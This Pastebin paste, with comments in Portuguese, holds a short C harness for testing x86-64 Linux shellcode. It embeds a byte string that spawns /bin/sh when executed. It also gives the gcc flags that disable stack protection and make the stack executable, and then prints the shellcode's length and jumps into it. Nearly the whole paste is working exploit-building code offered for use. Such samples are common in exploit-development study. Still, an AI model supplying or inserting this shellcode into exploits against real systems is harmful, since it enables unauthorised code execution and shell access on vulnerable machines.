Advertisement
LincolnArantes

shellcode-devolve shell no linux

Oct 20th, 2018
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.77 KB | None | 0 0
  1. // shellcode para testar e pegar o tamanho do mesmo
  2. //compilado em gcc linux
  3. //comando:
  4. // gcc -fno-stack-protector -z execstack testando.c -o testando
  5. //para abrir:
  6. // ./testando
  7. //-----------------------------------------------------------------
  8. //observação:
  9. //o shellcode do exemplo abaixo devolve um shell quando executado no linux
  10.  
  11.  
  12. #include<stdio.h>
  13. #include<string.h>
  14.  
  15. unsigned char code[] = \
  16. "\xeb\x1d\x48\x31\xc0\x5f\x88\x67\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x8d\x77\x08\x48\x8d\x57\x10\x48\x83\xc0\x3b\x0f\x05\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x42\x42\x42\x42\x43\x43\x43\x43\x43\x43";
  17.  
  18.  
  19. int main()
  20. {
  21.  
  22.     printf("Shellcode tamanho:  %d\n", (int)strlen(code));
  23.  
  24.     int (*ret)() = (int(*)())code;
  25.  
  26.     ret();
  27.  
  28. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement